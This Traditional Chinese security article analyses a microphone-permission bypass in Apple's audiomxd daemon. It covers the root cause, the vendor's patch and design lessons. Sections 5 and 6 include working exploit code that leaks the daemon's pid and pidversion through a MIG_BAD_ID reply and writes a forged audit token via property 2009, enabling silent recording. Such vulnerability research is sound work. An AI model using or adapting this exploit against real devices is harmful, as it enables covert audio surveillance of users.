摘要

這份報告分析 Apple 音訊 media daemon audiomxd 中的麥克風 權限繞過漏洞 :受沙箱限制的應用程式可以偽造錄音授權判斷所使用的 audit token,在未取得任何權限授予、沒有出現橘色指示燈,也沒有留下可歸因於該應用程式的記錄時,擷取麥克風音訊。以下從純技術角度檢視根本原因、漏洞利用操作、修補後的邏輯,以及可延伸應用的設計經驗。

麥克風早已開始錄音! audiomxd如何利用Apple TCC與XPC信任邊界? | 資訊安全新聞

1. 背景:TCC 與程序識別資訊

在這個平台上,應用程式不會自行決定是否能夠錄音。這項決策會經由 Transparency, Consent, 和 Control 子系統處理,由其 daemon tccd 評估提出要求之程序的 識別資訊 。因此,識別資訊必須來自可信任的來源。 audit_token_t 是由八個 32 位元字組成的 32 位元組結構:audit user ID、effective 與 real user/group ID、process ID( val [5] )、audit Session ID,以及 process 版本( val [7] ,也就是 XNU 的 p_idversion 計數器)。其中有兩項特性值得注意。第一,只有由 Kernel 提供的識別資訊才可信任:使用 MACH_RCV_TRAILER_AUDIT 接收的 Mach message 會附帶傳送端無法修改的 trailer,而 xpc_connection_get_audit_token 會從連線讀取識別資訊;相較之下,從 message body 複製出的位元組完全由攻擊者控制。第二,PID 無法永久識別某個程序,因為程序結束後 PID 可能被重複使用;只有 (pid, pidversion) 配對才能區分不同的程序 instance。

這類失效並非首例。CVE-2014-4492 顯示,某個 daemon 信任從 XPC message body 取得的 effective_audit_token 值,讓受沙箱限制的呼叫端可以自行選擇要呈現的識別資訊 [2] 。後續研究則證明,當 daemon 僅以 processIdentifier 識別 peer 時,攻擊者可以在請求處理期間重新執行已簽署的二進位檔,藉此提升權限 [3] 。針對 XPC 服務的系統性檢視也得出相同結論:若匯出的介面接受連線時,未檢查 peer 的 audit token 或程式碼需求,任何能解析該服務的用戶端都可能呼叫具有特權的 RPC [4] 。

2. 有漏洞的元件

audiomxd 負責執行 AURemoteIO 的伺服器端;這個 audio unit 用於低延遲擷取。每個已連線的用戶端都有一個伺服器端 RemoteIOClient 物件;其中的 AQIONodeClient 負責記錄權限狀態,而儲存的 audit token 位於該物件的 +0x28 offset。 AQIONodeClient::SetCanRecord() 會透過兩種方式查詢這個已儲存的 token:一種是使用 daemon 的 com.apple.private.tcc.manager.check-by-audit-token entitlement 查詢 tccd ;另一種是透過 SecTaskCreateWithAuditToken 驗證 com.apple.coreaudio.CanRecordWithoutSessionActivation entitlement。daemon 本身具有麥克風存取權限,而對於在 audiomxd 內部 執行的 audio,還存在一個捷徑:如果用戶端看起來就是 daemon 本身,系統便會默認允許錄音,完全不會查詢 tccd 。

3. 根本原因:Property 2009

可透過 MIG message 存取的屬性 setter AUIOServer_SetProperty ,將 property 2009 暴露為可寫入的「client audit token」。處理常式會將呼叫端真正由 Kernel 提供的 audit token 作為引數( a2 )接收,但有漏洞的分支完全沒有讀取它 [1] :

  1. // Decompilation of the property-2009 branch on the vulnerable build.
  2. if ( (_DWORD)a5 != 2009 ) // a5 = property id; skip unless property 2009
  3. goto LABEL_53; // dispatch all other properties elsewhere
  4. v24 = *(_OWORD **)(v41 + 40); // v24 = pointer to the client's 32-byte payload
  5. v25 = v24[1]; // v25 = upper 16 bytes of the supplied token
  6. *(_OWORD *)(v17 + 96) = *v24; // overwrite RemoteIOClient+96 with bytes 0-15
  7. *(_OWORD *)(v17 + 112) = v25; // overwrite RemoteIOClient+112 with bytes 16-31
  8. AQIONodeClient::SetCanRecord((AQIONodeClient *)(v17 + 56)); // re-evaluate permission now

處理常式會將 32 個由攻擊者控制的位元組複製到已儲存 token 的位置,並立即重新評估錄音權限。複製動作之前沒有任何 entitlement 或程式碼簽章檢查;權限檢查所使用的識別資訊完全由用戶端選定。

4. 判斷邏輯

SetCanRecord() 會將已儲存的用戶端 token,與 daemon 透過新查詢取得的自身識別資訊進行比較(使用 flavor 15 的 task_info 呼叫,也就是 TASK_AUDIT_TOKEN )。規則很簡單:如果用戶端的 (pid, pidversion) 與 daemon 相同,就會將 canRecord 設為 1,完全不查詢 TCC;否則就會要求 tccd 檢查傳入的 token。由於 property 2009 可以控制該 token,這兩種結果都會針對攻擊者選定的識別資訊做出權限判斷 [1] :

  1. clientToken = *(int8x16x2_t *)(this + 40); // read the stored token written by property 2009
  2. *(_DWORD *)count = 8; // TASK_AUDIT_TOKEN_COUNT: eight 32-bit words
  3. if ( task_info(mach_task_self_, 15, ownToken, count) != 0 ) // 15 = TASK_AUDIT_TOKEN; ask the kernel for OUR identity
  4. __break(1u); // fatal if the kernel query fails
  5. *(int8x16x2_t *)scratch = clientToken; // stage the client-supplied token
  6. clientPid = audit_token_to_pid(scratch); // extract val[5], the claimed pid
  7. qmemcpy(scratch, ownToken, 32); // overwrite scratch with the daemon's real token
  8. if ( clientPid != audit_token_to_pid(scratch) // compare pid: claimed vs. real daemon
  9. || (*(int8x16x2_t *)scratch = clientToken, // also extract the claimed pidversion
  10. clientPidVer = audit_token_to_pidversion(scratch),
  11. qmemcpy(scratch, ownToken, 32), // restore daemon token for comparison
  12. clientPidVer != audit_token_to_pidversion(scratch)) ) // compare pidversion: claimed vs. real
  13. {
  14. makeTCCAccessRequest(kTCCServiceMicrophone, &clientToken, &opts); // mismatch: ask TCC about the FORGED token
  15. }
  16. else
  17. {
  18. canRecord = 1; // match: treat client as in-daemon audio; implicit allow
  19. }
  20. *(_BYTE *)(this + 20) = canRecord; // persist the decision in the client object

5. 取得 Daemon 的識別資訊

受沙箱限制的 App 無法掃描 daemon 的 PID(沙箱會過濾 proc_name 查詢),也沒有可取得 pidversion 的 API。不過,對 container App 執行 mach-lookup 查詢 com.apple.audio.AURemoteIOServer 仍會成功。傳送一個 msgh_id 與任何 routine 都不相符的 MIG request,就會強制伺服器回覆 MIG_BAD_ID 錯誤。透過 audit trailer 接收該回覆時,Kernel 會附加傳送端真正的識別資訊,也就是偽造 token 所需的兩個欄位 [1] :

  1. msg.hdr.msgh_id = 0x00C0FFEE; // deliberately invalid routine id -> server must reply MIG_BAD_ID
  2. kr = mach_msg(&msg.hdr, // send the bogus request and wait for the error reply
  3. MACH_SEND_MSG | MACH_RCV_MSG | MACH_SEND_TIMEOUT | MACH_RCV_TIMEOUT |
  4. MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) |
  5. MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT), // request the audit trailer
  6. sizeof(mach_msg_header_t), sizeof(msg), reply, 1500, MACH_PORT_NULL);
  7. mach_msg_audit_trailer_t *tr = (mach_msg_audit_trailer_t *)
  8. ((uint8_t *)&msg.hdr + round_msg(msg.hdr.msgh_size)); // locate the trailer past the header
  9. memcpy(out, &tr->msgh_audit, sizeof(*out)); // extract the kernel-attached sender identity
  10. // out->val[5] = audiomxd pid, out->val[7] = audiomxd pidversion

6. 送出偽造的 Token

App 透過公開的 AudioUnitSetProperty API 寫入偽造的 token。UID/GID 欄位會模仿標準 mobile 使用者, auid sentinel 會模仿 daemon,而 val[5] / val[7] 則放入竊取到的 (pid, pidversion) 。從 0 到 1023 暴力猜測 pidversion 也能成功;當 audio I/O 持續執行時,約 70 秒便能找到相符值,因為錯誤的 token 會產生靜音,正確的 token 則會產生即時麥克風音訊 [1] :

  1. static OSStatus set_forged_token(pid_t pid, uint32_t pidversion) {
  2. audit_token_t t; // 32-byte token to forge
  3. mach_msg_type_number_t cnt = TASK_AUDIT_TOKEN_COUNT;
  4. task_info(mach_task_self(), TASK_AUDIT_TOKEN, (task_info_t)&t, &cnt); // template: keep our own asid
  5. t.val[0] = 0xFFFFFFFF; // auid -1, the daemon-style sentinel
  6. t.val[1] = t.val[2] = t.val[3] = t.val[4] = 501; // uid/gid fields set to the mobile user
  7. t.val[5] = (unsigned)pid; // pid stolen from the reply trailer
  8. t.val[7] = pidversion; // pidversion stolen from the reply trailer
  9. return AudioUnitSetProperty(g_au, 2009, kAudioUnitScope_Global, 0, &t, sizeof(t)); // overwrite client token
  10. }

用戶端唯一剩下的要求,是在 Info.plist 中加入 NSMicrophoneUsageDescription ;這個項目只提供提示文字,若缺少則會中止用戶端初始化,但不會授予任何權限,也不會阻止伺服器端的繞過行為。在有漏洞的版本中,權限提示只出現一次;即使使用者拒絕,錄音仍不會受到阻止,而且橘色指示燈從未亮起,因為音訊擷取被歸因於 daemon。

7. 攻擊流程

sequenceDiagram participant App as Sandboxed App participant K as Kernel (Mach IPC) participant AD as audiomxd participant TCC as tccd App->>AD: mach_lookup com.apple.audio.AURemoteIOServer App->>AD: MIG request, msgh_id = 0x00C0FFEE (no such routine) AD-->>App: MIG_BAD_ID error reply K-->>App: audit trailer attached (sender = audiomxd): pid + pidversion App->>App: build forged audit_token_t with stolen (pid, pidversion) App->>AD: AudioUnitSetProperty(2009, forged token) AD->>AD: copy 32 bytes into RemoteIOClient audit-token slot AD->>AD: SetCanRecord(): forged (pid,pidversion) == daemon's own Note over AD: implicit allow, no TCC consulted AD->>App: recording enabled App->>App: capture microphone audio, write to disk Note over App,AD: orange indicator off, no app attribution in logs

8. 修補方式

修補後的版本會在 token 複製與 SetCanRecord() 呼叫外層加入一道檢查,並根據 a2 進行判斷; a2 是呼叫端真正由 Kernel 提供的 audit token,也是有漏洞的分支忽略的值。若呼叫端傳入 INVALID_AUDIT_TOKEN sentinel,檢查就會通過;這個值只有 Kernel 會提供給 daemon 自己的程序內用戶端。另一種通過方式,是呼叫端持有私有 entitlement com.apple.private.audio.client-audit-token-override [1] :

  1. if ( (_DWORD)a5 != 2009 ) // still dispatch on property id
  2. goto LABEL_28; // non-2009 properties unchanged
  3. if ( (*(_QWORD *)a2 & *((_QWORD *)a2 + 1) & (_QWORD)a2[1] & *((_QWORD *)a2 + 3)) == -1
  4. // bitwise-AND of all four 64-bit words of a2; all-ones == INVALID_AUDIT_TOKEN
  5. // (only the kernel can convey this value for in-daemon clients)
  6. || (HasBooleanEntitlement((const audit_token_t *)a2, v18) & 1) != 0 )
  7. // OR the caller must hold com.apple.private.audio.client-audit-token-override
  8. {
  9. v25 = *(_OWORD **)(v43 + 40); // client payload pointer
  10. v26 = v25[1]; // upper 16 bytes
  11. *(_OWORD *)(v17 + 96) = *v25; // identical token copy as before
  12. *(_OWORD *)(v17 + 112) = v26; // identical token copy as before
  13. AQIONodeClient::SetCanRecord((AQIONodeClient *)(v17 + 56)); // re-evaluate, now authorized
  14. }

內部捷徑機制仍被保留,但替換已儲存用戶端識別資訊的權限,則被限制為僅 kernel 以及持有 entitlement 的主體才能執行,而這種權限無法由應用程式自行取得或授予。值得注意的是,供應商公開的安全公告只將問題描述為「a logic issue addressed with improved checks」,並未提及使用者拒絕權限後仍可在無聲無息的情況下持續擷取音訊;公告文字與已證實影響之間的落差,凸顯獨立技術分析的價值。

9. 討論

這項漏洞是典型的 confused-deputy 問題:具有特權的 daemon 將識別驗證工作委派給由請求者控制的輸入。這項設計經驗不只適用於音訊:任何使用 audit token 進行權限檢查的機制,都必須從 Kernel 附加的 message trailer 或 connection object 取得 token,絕不能從 message payload 取得;而供內部用戶端使用的便利捷徑,也必須以 Kernel 驗證過的識別資訊或不可偽造的 entitlement 作為啟用條件。錯誤回覆洩漏識別資訊的情況同樣值得注意:每個 MIG endpoint 都可能成為查詢對端識別資訊的 oracle,因此回覆 metadata 應視為敏感資訊。防禦性檢視應將會變更安全相關狀態的 property-style setter 視為授權邊界,並要求進行 entitlement 檢查。